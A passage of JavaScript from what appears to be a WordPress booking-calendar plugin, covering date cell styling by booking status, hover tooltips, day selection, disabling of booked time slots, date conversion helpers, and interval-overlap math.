( date_bookings_obj[ 'summary' ][ 'status_for_bookings' ].indexOf( 'approved' ) > -1 ){ css_classes__for_date.push( 'check_out_time_date_approved' ); } break; default: // mixed statuses: 'change_over check_out' .... variations.... check more in function wpbc_get_availability_per_days_arr() date_bookings_obj[ 'summary']['status_for_day' ] = 'available'; } if ( 'available' != date_bookings_obj[ 'summary']['status_for_day' ] ){ var is_set_pending_days_selectable = _wpbc.calendar__get_param_value( resource_id, 'pending_days_selectable' ); // set pending days selectable //FixIn: 8.6.1.18 switch ( date_bookings_obj[ 'summary']['status_for_bookings' ] ){ case '': // Usually it's means that day is available or unavailable without the bookings break; case 'pending': css_classes__for_date.push( 'date2approve' ); is_day_selectable = (is_day_selectable) ? true : is_set_pending_days_selectable; break; case 'approved': css_classes__for_date.push( 'date_approved' ); break; // Situations for "change-over" days: ---------------------------------------------------------------------- case 'pending_pending': css_classes__for_date.push( 'check_out_time_date2approve', 'check_in_time_date2approve' ); is_day_selectable = (is_day_selectable) ? true : is_set_pending_days_selectable; break; case 'pending_approved': css_classes__for_date.push( 'check_out_time_date2approve', 'check_in_time_date_approved' ); is_day_selectable = (is_day_selectable) ? true : is_set_pending_days_selectable; break; case 'approved_pending': css_classes__for_date.push( 'check_out_time_date_approved', 'check_in_time_date2approve' ); is_day_selectable = (is_day_selectable) ? true : is_set_pending_days_selectable; break; case 'approved_approved': css_classes__for_date.push( 'check_out_time_date_approved', 'check_in_time_date_approved' ); break; default: } } return [ is_day_selectable, css_classes__for_date.join( ' ' ) ]; } /** * Mouseover calendar date cells * * @param string_date * @param date - JavaScript Date Obj: Mon Dec 11 2023 00:00:00 GMT+0200 (Eastern European Standard Time) * @param calendar_params_arr - Calendar Settings Object: { * "resource_id": 4 * } * @param datepick_this - this of datepick Obj * @returns {boolean} */ function wpbc__calendar__on_hover_days( string_date, date, calendar_params_arr, datepick_this ) { if ( null === date ){ return false; } var class_day = wpbc__get__td_class_date( date ); // '1-9-2023' var sql_class_day = wpbc__get__sql_class_date( date ); // '2023-01-09' var resource_id = ( 'undefined' !== typeof(calendar_params_arr[ 'resource_id' ]) ) ? calendar_params_arr[ 'resource_id' ] : '1'; // '1' // Get Data -------------------------------------------------------------------------------------------------------- var date_booking_obj = _wpbc.bookings_in_calendar__get_for_date( resource_id, sql_class_day ); // {...} if ( ! date_booking_obj ){ return false; } // T o o l t i p s ------------------------------------------------------------------------------------------------- var tooltip_text = ''; if ( date_booking_obj[ 'summary']['tooltip_availability' ].length > 0 ){ tooltip_text += date_booking_obj[ 'summary']['tooltip_availability' ]; } if ( date_booking_obj[ 'summary']['tooltip_day_cost' ].length > 0 ){ tooltip_text += date_booking_obj[ 'summary']['tooltip_day_cost' ]; } if ( date_booking_obj[ 'summary']['tooltip_times' ].length > 0 ){ tooltip_text += date_booking_obj[ 'summary']['tooltip_times' ]; } if ( date_booking_obj[ 'summary']['tooltip_booking_details' ].length > 0 ){ tooltip_text += date_booking_obj[ 'summary']['tooltip_booking_details' ]; } wpbc_set_tooltip___for__calendar_date( tooltip_text, resource_id, class_day ); // U n h o v e r i n g in UNSELECTABLE_CALENDAR ------------------------------------------------------------ var is_unselectable_calendar = ( jQuery( '#calendar_booking_unselectable' + resource_id ).length > 0); //FixIn: 8.0.1.2 var is_booking_form_exist = ( jQuery( '#booking_form_div' + resource_id ).length > 0 ); if ( ( is_unselectable_calendar ) && ( ! is_booking_form_exist ) ){ /** * Un Hover all dates in calendar (without the booking form), if only Availability Calendar here and we do not insert Booking form by mistake. */ wpbc_calendars__clear_days_highlighting( resource_id ); // Clear days highlighting var css_of_calendar = '.wpbc_only_calendar #calendar_booking' + resource_id; jQuery( css_of_calendar + ' .datepick-days-cell, ' + css_of_calendar + ' .datepick-days-cell a' ).css( 'cursor', 'default' ); // Set cursor to Default return false; } // D a y s H o v e r i n g ------------------------------------------------------------------------------------ if ( ( location.href.indexOf( 'page=wpbc' ) == -1 ) || ( location.href.indexOf( 'page=wpbc-new' ) > 0 ) || ( location.href.indexOf( 'page=wpbc-availability' ) > 0 ) || ( ( location.href.indexOf( 'page=wpbc-settings' ) > 0 ) && ( location.href.indexOf( '&tab=form' ) > 0 ) ) ){ // The same as dates selection, but for days hovering if ( 'function' == typeof( wpbc__calendar__do_days_highlight__bs ) ){ wpbc__calendar__do_days_highlight__bs( sql_class_day, date, resource_id ); } } } /** * Select calendar date cells * * @param date - JavaScript Date Obj: Mon Dec 11 2023 00:00:00 GMT+0200 (Eastern European Standard Time) * @param calendar_params_arr - Calendar Settings Object: { * "resource_id": 4 * } * @param datepick_this - this of datepick Obj * */ function wpbc__calendar__on_select_days( date, calendar_params_arr, datepick_this ){ var resource_id = ( 'undefined' !== typeof(calendar_params_arr[ 'resource_id' ]) ) ? calendar_params_arr[ 'resource_id' ] : '1'; // '1' // Set unselectable, if only Availability Calendar here (and we do not insert Booking form by mistake). var is_unselectable_calendar = ( jQuery( '#calendar_booking_unselectable' + resource_id ).length > 0); //FixIn: 8.0.1.2 var is_booking_form_exist = ( jQuery( '#booking_form_div' + resource_id ).length > 0 ); if ( ( is_unselectable_calendar ) && ( ! is_booking_form_exist ) ){ wpbc_calendar__unselect_all_dates( resource_id ); // Unselect Dates jQuery('.wpbc_only_calendar .popover_calendar_hover').remove(); // Hide all opened popovers return false; } jQuery( '#date_booking' + resource_id ).val( date ); // Add selected dates to hidden textarea if ( 'function' === typeof (wpbc__calendar__do_days_select__bs) ){ wpbc__calendar__do_days_select__bs( date, resource_id ); } wpbc_disable_time_fields_in_booking_form( resource_id ); // Hook -- trigger day selection ----------------------------------------------------------------------------------- var mouse_clicked_dates = date; // Can be: "05.10.2023 - 07.10.2023" | "10.10.2023 - 10.10.2023" | var all_selected_dates_arr = wpbc_get__selected_dates_sql__as_arr( resource_id ); // Can be: [ "2023-10-05", "2023-10-06", "2023-10-07", … ] jQuery( ".booking_form_div" ).trigger( "date_selected", [ resource_id, mouse_clicked_dates, all_selected_dates_arr ] ); } /** * -- T i m e F i e l d s start -------------------------------------------------------------------------- */ /** * Disable time slots in booking form depend on selected dates and booked dates/times * * @param resource_id */ function wpbc_disable_time_fields_in_booking_form( resource_id ){ /** * 1. Get all time fields in the booking form as array of objects * [ * { jquery_option: jQuery_Object {} * name: 'rangetime2[]' * times_as_seconds: [ 21600, 23400 ] * value_option_24h: '06:00 - 06:30' * } * ... * { jquery_option: jQuery_Object {} * name: 'starttime2[]' * times_as_seconds: [ 21600 ] * value_option_24h: '06:00' * } * ] */ var time_fields_obj_arr = wpbc_get__time_fields__in_booking_form__as_arr( resource_id ); // 2. Get all selected dates in SQL format like this [ "2023-08-23", "2023-08-24", "2023-08-25", ... ] var selected_dates_arr = wpbc_get__selected_dates_sql__as_arr( resource_id ); // 3. Get child booking resources or single booking resource that exist in dates var child_resources_arr = wpbc_clone_obj( _wpbc.booking__get_param_value( resource_id, 'resources_id_arr__in_dates' ) ); var sql_date; var child_resource_id; var merged_seconds; var time_fields_obj; var is_intersect; var is_check_in; // 4. Loop all time Fields options //FixIn: 10.3.0.2 for ( let field_key = 0; field_key < time_fields_obj_arr.length; field_key++ ){ time_fields_obj_arr[ field_key ].disabled = 0; // By default, this time field is not disabled time_fields_obj = time_fields_obj_arr[ field_key ]; // { times_as_seconds: [ 21600, 23400 ], value_option_24h: '06:00 - 06:30', name: 'rangetime2[]', jquery_option: jQuery_Object {}} // Loop all selected dates for ( var i = 0; i < selected_dates_arr.length; i++ ){ //FixIn: 9.9.0.31 if ( ( 'Off' === _wpbc.calendar__get_param_value( resource_id, 'booking_recurrent_time' ) ) && ( selected_dates_arr.length>1 ) ){ //TODO: skip some fields checking if it's start / end time for mulple dates selection mode. //TODO: we need to fix situation for entimes, when user select several dates, and in start time booked 00:00 - 15:00 , but systsme block untill 15:00 the end time as well, which is wrong, because it 2 or 3 dates selection and end date can be fullu available if ( (0 == i) && (time_fields_obj[ 'name' ].indexOf( 'endtime' ) >= 0) ){ break; } if ( ( (selected_dates_arr.length-1) == i ) && (time_fields_obj[ 'name' ].indexOf( 'starttime' ) >= 0) ){ break; } } // Get Date: '2023-08-18' sql_date = selected_dates_arr[ i ]; var how_many_resources_intersected = 0; // Loop all resources ID // for ( var res_key in child_resources_arr ){ //FixIn: 10.3.0.2 for ( let res_key = 0; res_key < child_resources_arr.length; res_key++ ){ child_resource_id = child_resources_arr[ res_key ]; // _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[12].booked_time_slots.merged_seconds = [ "07:00:11 - 07:30:02", "10:00:11 - 00:00:00" ] // _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[2].booked_time_slots.merged_seconds = [ [ 25211, 27002 ], [ 36011, 86400 ] ] if ( false !== _wpbc.bookings_in_calendar__get_for_date( resource_id, sql_date ) ){ merged_seconds = _wpbc.bookings_in_calendar__get_for_date( resource_id, sql_date )[ child_resource_id ].booked_time_slots.merged_seconds; // [ [ 25211, 27002 ], [ 36011, 86400 ] ] } else { merged_seconds = []; } if ( time_fields_obj.times_as_seconds.length > 1 ){ is_intersect = wpbc_is_intersect__range_time_interval( [ [ ( parseInt( time_fields_obj.times_as_seconds[0] ) + 20 ), ( parseInt( time_fields_obj.times_as_seconds[1] ) - 20 ) ] ] , merged_seconds ); } else { is_check_in = (-1 !== time_fields_obj.name.indexOf( 'start' )); is_intersect = wpbc_is_intersect__one_time_interval( ( ( is_check_in ) ? parseInt( time_fields_obj.times_as_seconds ) + 20 : parseInt( time_fields_obj.times_as_seconds ) - 20 ) , merged_seconds ); } if (is_intersect){ how_many_resources_intersected++; // Increase } } if ( child_resources_arr.length == how_many_resources_intersected ) { // All resources intersected, then it's means that this time-slot or time must be Disabled, and we can exist from selected_dates_arr LOOP time_fields_obj_arr[ field_key ].disabled = 1; break; // exist from Dates LOOP } } } // 5. Now we can disable time slot in HTML by using ( field.disabled == 1 ) property wpbc__html__time_field_options__set_disabled( time_fields_obj_arr ); jQuery( ".booking_form_div" ).trigger( 'wpbc_hook_timeslots_disabled', [resource_id, selected_dates_arr] ); // Trigger hook on disabling timeslots. Usage: jQuery( ".booking_form_div" ).on( 'wpbc_hook_timeslots_disabled', function ( event, bk_type, all_dates ){ ... } ); //FixIn: 8.7.11.9 } /** * Is number inside /intersect of array of intervals ? * * @param time_A - 25800 * @param time_interval_B - [ [ 25211, 27002 ], [ 36011, 86400 ] ] * @returns {boolean} */ function wpbc_is_intersect__one_time_interval( time_A, time_interval_B ){ for ( var j = 0; j < time_interval_B.length; j++ ){ if ( (parseInt( time_A ) > parseInt( time_interval_B[ j ][ 0 ] )) && (parseInt( time_A ) < parseInt( time_interval_B[ j ][ 1 ] )) ){ return true } // if ( ( parseInt( time_A ) == parseInt( time_interval_B[ j ][ 0 ] ) ) || ( parseInt( time_A ) == parseInt( time_interval_B[ j ][ 1 ] ) ) ) { // // Time A just at the border of interval // } } return false; } /** * Is these array of intervals intersected ? * * @param time_interval_A - [ [ 21600, 23400 ] ] * @param time_interval_B - [ [ 25211, 27002 ], [ 36011, 86400 ] ] * @returns {boolean} */ function wpbc_is_intersect__range_time_interval( time_interval_A, time_interval_B ){ var is_intersect; for ( var i = 0; i < time_interval_A.length; i++ ){ for ( var j = 0; j < time_interval_B.length; j++ ){ is_intersect = wpbc_intervals__is_intersected( time_interval_A[ i ], time_interval_B[ j ] ); if ( is_intersect ){ return true; } } } return false; } /** * Get all time fields in the booking form as array of objects * * @param resource_id * @returns [] * * Example: * [ * { * value_option_24h: '06:00 - 06:30' * times_as_seconds: [ 21600, 23400 ] * jquery_option: jQuery_Object {} * name: 'rangetime2[]' * } * ... * { * value_option_24h: '06:00' * times_as_seconds: [ 21600 ] * jquery_option: jQuery_Object {} * name: 'starttime2[]' * } * ] */ function wpbc_get__time_fields__in_booking_form__as_arr( resource_id ){ /** * Fields with [] like this select[name="rangetime1[]"] * it's when we have 'multiple' in shortcode: [select* rangetime multiple "06:00 - 06:30" ... ] */ var time_fields_arr=[ 'select[name="rangetime' + resource_id + '"]', 'select[name="rangetime' + resource_id + '[]"]', 'select[name="starttime' + resource_id + '"]', 'select[name="starttime' + resource_id + '[]"]', 'select[name="endtime' + resource_id + '"]', 'select[name="endtime' + resource_id + '[]"]' ]; var time_fields_obj_arr = []; // Loop all Time Fields for ( var ctf= 0; ctf < time_fields_arr.length; ctf++ ){ var time_field = time_fields_arr[ ctf ]; var time_option = jQuery( time_field + ' option' ); // Loop all options in time field for ( var j = 0; j < time_option.length; j++ ){ var jquery_option = jQuery( time_field + ' option:eq(' + j + ')' ); var value_option_seconds_arr = jquery_option.val().split( '-' ); var times_as_seconds = []; // Get time as seconds if ( value_option_seconds_arr.length ){ //FixIn: 9.8.10.1 for ( let i = 0; i < value_option_seconds_arr.length; i++ ){ //FixIn: 10.0.0.56 // value_option_seconds_arr[i] = '14:00 ' | ' 16:00' (if from 'rangetime') and '16:00' if (start/end time) var start_end_times_arr = value_option_seconds_arr[ i ].trim().split( ':' ); var time_in_seconds = parseInt( start_end_times_arr[ 0 ] ) * 60 * 60 + parseInt( start_end_times_arr[ 1 ] ) * 60; times_as_seconds.push( time_in_seconds ); } } time_fields_obj_arr.push( { 'name' : jQuery( time_field ).attr( 'name' ), 'value_option_24h': jquery_option.val(), 'jquery_option' : jquery_option, 'times_as_seconds': times_as_seconds } ); } } return time_fields_obj_arr; } /** * Disable HTML options and add booked CSS class * * @param time_fields_obj_arr - this value is from the func: wpbc_get__time_fields__in_booking_form__as_arr( resource_id ) * [ * { jquery_option: jQuery_Object {} * name: 'rangetime2[]' * times_as_seconds: [ 21600, 23400 ] * value_option_24h: '06:00 - 06:30' * disabled = 1 * } * ... * { jquery_option: jQuery_Object {} * name: 'starttime2[]' * times_as_seconds: [ 21600 ] * value_option_24h: '06:00' * disabled = 0 * } * ] * */ function wpbc__html__time_field_options__set_disabled( time_fields_obj_arr ){ var jquery_option; for ( var i = 0; i < time_fields_obj_arr.length; i++ ){ var jquery_option = time_fields_obj_arr[ i ].jquery_option; if ( 1 == time_fields_obj_arr[ i ].disabled ){ jquery_option.prop( 'disabled', true ); // Make disable some options jquery_option.addClass( 'booked' ); // Add "booked" CSS class // if this booked element selected --> then deselect it if ( jquery_option.prop( 'selected' ) ){ jquery_option.prop( 'selected', false ); jquery_option.parent().find( 'option:not([disabled]):first' ).prop( 'selected', true ).trigger( "change" ); } } else { jquery_option.prop( 'disabled', false ); // Make active all times jquery_option.removeClass( 'booked' ); // Remove class "booked" } } } /** * Check if this time_range | Time_Slot is Full Day booked * * @param timeslot_arr_in_seconds - [ 36011, 86400 ] * @returns {boolean} */ function wpbc_is_this_timeslot__full_day_booked( timeslot_arr_in_seconds ){ if ( ( timeslot_arr_in_seconds.length > 1 ) && ( parseInt( timeslot_arr_in_seconds[ 0 ] ) < 30 ) && ( parseInt( timeslot_arr_in_seconds[ 1 ] ) > ( (24 * 60 * 60) - 30) ) ){ return true; } return false; } // ----------------------------------------------------------------------------------------------------------------- /* == S e l e c t e d D a t e s / T i m e - F i e l d s == // ----------------------------------------------------------------------------------------------------------------- */ /** * Get all selected dates in SQL format like this [ "2023-08-23", "2023-08-24" , ... ] * * @param resource_id * @returns {[]} [ "2023-08-23", "2023-08-24", "2023-08-25", "2023-08-26", "2023-08-27", "2023-08-28", "2023-08-29" ] */ function wpbc_get__selected_dates_sql__as_arr( resource_id ){ var selected_dates_arr = []; selected_dates_arr = jQuery( '#date_booking' + resource_id ).val().split(','); if ( selected_dates_arr.length ){ //FixIn: 9.8.10.1 for ( let i = 0; i < selected_dates_arr.length; i++ ){ //FixIn: 10.0.0.56 selected_dates_arr[ i ] = selected_dates_arr[ i ].trim(); selected_dates_arr[ i ] = selected_dates_arr[ i ].split( '.' ); if ( selected_dates_arr[ i ].length > 1 ){ selected_dates_arr[ i ] = selected_dates_arr[ i ][ 2 ] + '-' + selected_dates_arr[ i ][ 1 ] + '-' + selected_dates_arr[ i ][ 0 ]; } } } // Remove empty elements from an array selected_dates_arr = selected_dates_arr.filter( function ( n ){ return parseInt(n); } ); selected_dates_arr.sort(); return selected_dates_arr; } /** * Get all time fields in the booking form as array of objects * * @param resource_id * @param is_only_selected_time * @returns [] * * Example: * [ * { * value_option_24h: '06:00 - 06:30' * times_as_seconds: [ 21600, 23400 ] * jquery_option: jQuery_Object {} * name: 'rangetime2[]' * } * ... * { * value_option_24h: '06:00' * times_as_seconds: [ 21600 ] * jquery_option: jQuery_Object {} * name: 'starttime2[]' * } * ] */ function wpbc_get__selected_time_fields__in_booking_form__as_arr( resource_id, is_only_selected_time = true ){ /** * Fields with [] like this select[name="rangetime1[]"] * it's when we have 'multiple' in shortcode: [select* rangetime multiple "06:00 - 06:30" ... ] */ var time_fields_arr=[ 'select[name="rangetime' + resource_id + '"]', 'select[name="rangetime' + resource_id + '[]"]', 'select[name="starttime' + resource_id + '"]', 'select[name="starttime' + resource_id + '[]"]', 'select[name="endtime' + resource_id + '"]', 'select[name="endtime' + resource_id + '[]"]', 'select[name="durationtime' + resource_id + '"]', 'select[name="durationtime' + resource_id + '[]"]' ]; var time_fields_obj_arr = []; // Loop all Time Fields for ( var ctf= 0; ctf < time_fields_arr.length; ctf++ ){ var time_field = time_fields_arr[ ctf ]; var time_option; if ( is_only_selected_time ){ time_option = jQuery( '#booking_form' + resource_id + ' ' + time_field + ' option:selected' ); // Exclude conditional fields, because of using '#booking_form3 ...' } else { time_option = jQuery( '#booking_form' + resource_id + ' ' + time_field + ' option' ); // All time fields } // Loop all options in time field for ( var j = 0; j < time_option.length; j++ ){ var jquery_option = jQuery( time_option[ j ] ); // Get only selected options //jQuery( time_field + ' option:eq(' + j + ')' ); var value_option_seconds_arr = jquery_option.val().split( '-' ); var times_as_seconds = []; // Get time as seconds if ( value_option_seconds_arr.length ){ //FixIn: 9.8.10.1 for ( let i = 0; i < value_option_seconds_arr.length; i++ ){ //FixIn: 10.0.0.56 // value_option_seconds_arr[i] = '14:00 ' | ' 16:00' (if from 'rangetime') and '16:00' if (start/end time) var start_end_times_arr = value_option_seconds_arr[ i ].trim().split( ':' ); var time_in_seconds = parseInt( start_end_times_arr[ 0 ] ) * 60 * 60 + parseInt( start_end_times_arr[ 1 ] ) * 60; times_as_seconds.push( time_in_seconds ); } } time_fields_obj_arr.push( { 'name' : jQuery( '#booking_form' + resource_id + ' ' + time_field ).attr( 'name' ), 'value_option_24h': jquery_option.val(), 'jquery_option' : jquery_option, 'times_as_seconds': times_as_seconds } ); } } // Text: [starttime] - [endtime] ----------------------------------------------------------------------------- var text_time_fields_arr=[ 'input[name="starttime' + resource_id + '"]', 'input[name="endtime' + resource_id + '"]', ]; for ( var tf= 0; tf < text_time_fields_arr.length; tf++ ){ var text_jquery = jQuery( '#booking_form' + resource_id + ' ' + text_time_fields_arr[ tf ] ); // Exclude conditional fields, because of using '#booking_form3 ...' if ( text_jquery.length > 0 ){ var time__h_m__arr = text_jquery.val().trim().split( ':' ); // '14:00' if ( 0 == time__h_m__arr.length ){ continue; // Not entered time value in a field } if ( 1 == time__h_m__arr.length ){ if ( '' === time__h_m__arr[ 0 ] ){ continue; // Not entered time value in a field } time__h_m__arr[ 1 ] = 0; } var text_time_in_seconds = parseInt( time__h_m__arr[ 0 ] ) * 60 * 60 + parseInt( time__h_m__arr[ 1 ] ) * 60; var text_times_as_seconds = []; text_times_as_seconds.push( text_time_in_seconds ); time_fields_obj_arr.push( { 'name' : text_jquery.attr( 'name' ), 'value_option_24h': text_jquery.val(), 'jquery_option' : text_jquery, 'times_as_seconds': text_times_as_seconds } ); } } return time_fields_obj_arr; } // --------------------------------------------------------------------------------------------------------------------- /* == S U P P O R T for C A L E N D A R == // --------------------------------------------------------------------------------------------------------------------- */ /** * Get Calendar datepick Instance * @param resource_id of booking resource * @returns {*|null} */ function wpbc_calendar__get_inst( resource_id ){ if ( 'undefined' === typeof (resource_id) ){ resource_id = '1'; } if ( jQuery( '#calendar_booking' + resource_id ).length > 0 ){ return jQuery.datepick._getInst( jQuery( '#calendar_booking' + resource_id ).get( 0 ) ); } return null; } /** * Unselect all dates in calendar and visually update this calendar * * @param resource_id ID of booking resource * @returns {boolean} true on success | false, if no such calendar */ function wpbc_calendar__unselect_all_dates( resource_id ){ if ( 'undefined' === typeof (resource_id) ){ resource_id = '1'; } var inst = wpbc_calendar__get_inst( resource_id ) if ( null !== inst ){ // Unselect all dates and set properties of Datepick jQuery( '#date_booking' + resource_id ).val( '' ); //FixIn: 5.4.3 inst.stayOpen = false; inst.dates = []; jQuery.datepick._updateDatepick( inst ); return true } return false; } /** * Clear days highlighting in All or specific Calendars * * @param resource_id - can be skiped to clear highlighting in all calendars */ function wpbc_calendars__clear_days_highlighting( resource_id ){ if ( 'undefined' !== typeof ( resource_id ) ){ jQuery( '#calendar_booking' + resource_id + ' .datepick-days-cell-over' ).removeClass( 'datepick-days-cell-over' ); // Clear in specific calendar } else { jQuery( '.datepick-days-cell-over' ).removeClass( 'datepick-days-cell-over' ); // Clear in all calendars } } /** * Scroll to specific month in calendar * * @param resource_id ID of resource * @param year - real year - 2023 * @param month - real month - 12 * @returns {boolean} */ function wpbc_calendar__scroll_to( resource_id, year, month ){ if ( 'undefined' === typeof (resource_id) ){ resource_id = '1'; } var inst = wpbc_calendar__get_inst( resource_id ) if ( null !== inst ){ year = parseInt( year ); month = parseInt( month ) - 1; // In JS date, month -1 inst.cursorDate = new Date(); // In some cases, the setFullYear can set only Year, and not the Month and day //FixIn:6.2.3.5 inst.cursorDate.setFullYear( year, month, 1 ); inst.cursorDate.setMonth( month ); inst.cursorDate.setDate( 1 ); inst.drawMonth = inst.cursorDate.getMonth(); inst.drawYear = inst.cursorDate.getFullYear(); jQuery.datepick._notifyChange( inst ); jQuery.datepick._adjustInstDate( inst ); jQuery.datepick._showDate( inst ); jQuery.datepick._updateDatepick( inst ); return true; } return false; } /** * Is this date selectable in calendar (mainly it's means AVAILABLE date) * * @param {int|string} resource_id 1 * @param {string} sql_class_day '2023-08-11' * @returns {boolean} true | false */ function wpbc_is_this_day_selectable( resource_id, sql_class_day ){ // Get Data -------------------------------------------------------------------------------------------------------- var date_bookings_obj = _wpbc.bookings_in_calendar__get_for_date( resource_id, sql_class_day ); var is_day_selectable = ( parseInt( date_bookings_obj[ 'day_availability' ] ) > 0 ); if ( typeof (date_bookings_obj[ 'summary' ]) === 'undefined' ){ return is_day_selectable; } if ( 'available' != date_bookings_obj[ 'summary']['status_for_day' ] ){ var is_set_pending_days_selectable = _wpbc.calendar__get_param_value( resource_id, 'pending_days_selectable' ); // set pending days selectable //FixIn: 8.6.1.18 switch ( date_bookings_obj[ 'summary']['status_for_bookings' ] ){ case 'pending': // Situations for "change-over" days: case 'pending_pending': case 'pending_approved': case 'approved_pending': is_day_selectable = (is_day_selectable) ? true : is_set_pending_days_selectable; break; default: } } return is_day_selectable; } /** * Is date to check IN array of selected dates * * @param {date}js_date_to_check - JS Date - simple JavaScript Date object * @param {[]} js_dates_arr - [ JSDate, ... ] - array of JS dates * @returns {boolean} */ function wpbc_is_this_day_among_selected_days( js_date_to_check, js_dates_arr ){ for ( var date_index = 0; date_index < js_dates_arr.length ; date_index++ ){ //FixIn: 8.4.5.16 if ( ( js_dates_arr[ date_index ].getFullYear() === js_date_to_check.getFullYear() ) && ( js_dates_arr[ date_index ].getMonth() === js_date_to_check.getMonth() ) && ( js_dates_arr[ date_index ].getDate() === js_date_to_check.getDate() ) ) { return true; } } return false; } /** * Get SQL Class Date '2023-08-01' from JS Date * * @param date JS Date * @returns {string} '2023-08-12' */ function wpbc__get__sql_class_date( date ){ var sql_class_day = date.getFullYear() + '-'; sql_class_day += ( ( date.getMonth() + 1 ) < 10 ) ? '0' : ''; sql_class_day += ( date.getMonth() + 1 ) + '-' sql_class_day += ( date.getDate() < 10 ) ? '0' : ''; sql_class_day += date.getDate(); return sql_class_day; } /** * Get JS Date from the SQL date format '2024-05-14' * @param sql_class_date * @returns {Date} */ function wpbc__get__js_date( sql_class_date ){ var sql_class_date_arr = sql_class_date.split( '-' ); var date_js = new Date(); date_js.setFullYear( parseInt( sql_class_date_arr[ 0 ] ), (parseInt( sql_class_date_arr[ 1 ] ) - 1), parseInt( sql_class_date_arr[ 2 ] ) ); // year, month, date // Without this time adjust Dates selection in Datepicker can not work!!! date_js.setHours(0); date_js.setMinutes(0); date_js.setSeconds(0); date_js.setMilliseconds(0); return date_js; } /** * Get TD Class Date '1-31-2023' from JS Date * * @param date JS Date * @returns {string} '1-31-2023' */ function wpbc__get__td_class_date( date ){ var td_class_day = (date.getMonth() + 1) + '-' + date.getDate() + '-' + date.getFullYear(); // '1-9-2023' return td_class_day; } /** * Get date params from string date * * @param date string date like '31.5.2023' * @param separator default '.' can be skipped. * @returns { {date: number, month: number, year: number} } */ function wpbc__get__date_params__from_string_date( date , separator){ separator = ( 'undefined' !== typeof (separator) ) ? separator : '.'; var date_arr = date.split( separator ); var date_obj = { 'year' : parseInt( date_arr[ 2 ] ), 'month': (parseInt( date_arr[ 1 ] ) - 1), 'date' : parseInt( date_arr[ 0 ] ) }; return date_obj; // for = new Date( date_obj.year , date_obj.month , date_obj.date ); } /** * Add Spin Loader to calendar * @param resource_id */ function wpbc_calendar__loading__start( resource_id ){ if ( ! jQuery( '#calendar_booking' + resource_id ).next().hasClass( 'wpbc_spins_loader_wrapper' ) ){ jQuery( '#calendar_booking' + resource_id ).after( '<div class="wpbc_spins_loader_wrapper"><div class="wpbc_spins_loader"></div></div>' ); } if ( ! jQuery( '#calendar_booking' + resource_id ).hasClass( 'wpbc_calendar_blur_small' ) ){ jQuery( '#calendar_booking' + resource_id ).addClass( 'wpbc_calendar_blur_small' ); } wpbc_calendar__blur__start( resource_id ); } /** * Remove Spin Loader to calendar * @param resource_id */ function wpbc_calendar__loading__stop( resource_id ){ jQuery( '#calendar_booking' + resource_id + ' + .wpbc_spins_loader_wrapper' ).remove(); jQuery( '#calendar_booking' + resource_id ).removeClass( 'wpbc_calendar_blur_small' ); wpbc_calendar__blur__stop( resource_id ); } /** * Add Blur to calendar * @param resource_id */ function wpbc_calendar__blur__start( resource_id ){ if ( ! jQuery( '#calendar_booking' + resource_id ).hasClass( 'wpbc_calendar_blur' ) ){ jQuery( '#calendar_booking' + resource_id ).addClass( 'wpbc_calendar_blur' ); } } /** * Remove Blur in calendar * @param resource_id */ function wpbc_calendar__blur__stop( resource_id ){ jQuery( '#calendar_booking' + resource_id ).removeClass( 'wpbc_calendar_blur' ); } // ................................................................................................................. /* == Calendar Update - View == // ................................................................................................................. */ /** * Update Look of calendar * * @param resource_id */ function wpbc_calendar__update_look( resource_id ){ var inst = wpbc_calendar__get_inst( resource_id ); jQuery.datepick._updateDatepick( inst ); } /** * Update dynamically Number of Months in calendar * * @param resource_id int * @param months_number int */ function wpbc_calendar__update_months_number( resource_id, months_number ){ var inst = wpbc_calendar__get_inst( resource_id ); if ( null !== inst ){ inst.settings[ 'numberOfMonths' ] = months_number; //_wpbc.calendar__set_param_value( resource_id, 'calendar_number_of_months', months_number ); wpbc_calendar__update_look( resource_id ); } } /** * Show calendar in different Skin * * @param selected_skin_url */ function wpbc__calendar__change_skin( selected_skin_url ){ //console.log( 'SKIN SELECTION ::', selected_skin_url ); // Remove CSS skin var stylesheet = document.getElementById( 'wpbc-calendar-skin-css' ); stylesheet.parentNode.removeChild( stylesheet ); // Add new CSS skin var headID = document.getElementsByTagName( "head" )[ 0 ]; var cssNode = document.createElement( 'link' ); cssNode.type = 'text/css'; cssNode.setAttribute( "id", "wpbc-calendar-skin-css" ); cssNode.rel = 'stylesheet'; cssNode.media = 'screen'; cssNode.href = selected_skin_url; //"http://beta/wp-content/plugins/booking/css/skins/green-01.css"; headID.appendChild( cssNode ); } function wpbc__css__change_skin( selected_skin_url, stylesheet_id = 'wpbc-time_picker-skin-css' ){ // Remove CSS skin var stylesheet = document.getElementById( stylesheet_id ); stylesheet.parentNode.removeChild( stylesheet ); // Add new CSS skin var headID = document.getElementsByTagName( "head" )[ 0 ]; var cssNode = document.createElement( 'link' ); cssNode.type = 'text/css'; cssNode.setAttribute( "id", stylesheet_id ); cssNode.rel = 'stylesheet'; cssNode.media = 'screen'; cssNode.href = selected_skin_url; //"http://beta/wp-content/plugins/booking/css/skins/green-01.css"; headID.appendChild( cssNode ); } // --------------------------------------------------------------------------------------------------------------------- /* == S U P P O R T M A T H == // --------------------------------------------------------------------------------------------------------------------- */ /** * Merge several intersected intervals or return not intersected: [[1,3],[2,6],[8,10],[15,18]] -> [[1,6],[8,10],[15,18]] * * @param [] intervals [ [1,3],[2,4],[6,8],[9,10],[3,7] ] * @returns [] [ [1,8],[9,10] ] * * Exmample: wpbc_intervals__merge_inersected( [ [1,3],[2,4],[6,8],[9,10],[3,7] ] ); */ function wpbc_intervals__merge_inersected( intervals ){ if ( ! intervals || intervals.length === 0 ){ return []; } var merged = []; intervals.sort( function ( a, b ){ return a[ 0 ] - b[ 0 ]; } ); var mergedInterval = intervals[ 0 ]; for ( var i = 1; i < intervals.length; i++ ){ var interval = intervals[ i ]; if ( interval[ 0 ] <= mergedInterval[ 1 ] ){ mergedInterval[ 1 ] = Math.max( mergedInterval[ 1 ], interval[ 1 ] ); } else { merged.push( mergedInterval ); mergedInterval = interval; } } merged.push( mergedInterval ); return merged; } /** * Is 2 intervals intersected: [36011, 86392] <=> [1, 43192] => true ( intersected ) * * Good explanation here https://stackoverflow.com/questions/3269434/whats-the-most-efficient-way-to-test-if-two-ranges-overlap * * @param interval_A - [ 36011, 86392 ] * @param interval_B - [ 1, 43192 ] * * @return bool */ function wpbc_intervals__is_intersected( interval_A, interval_B ) { if ( ( 0 == interval_A.length ) || ( 0 == interval_B.length ) ){ return false; } 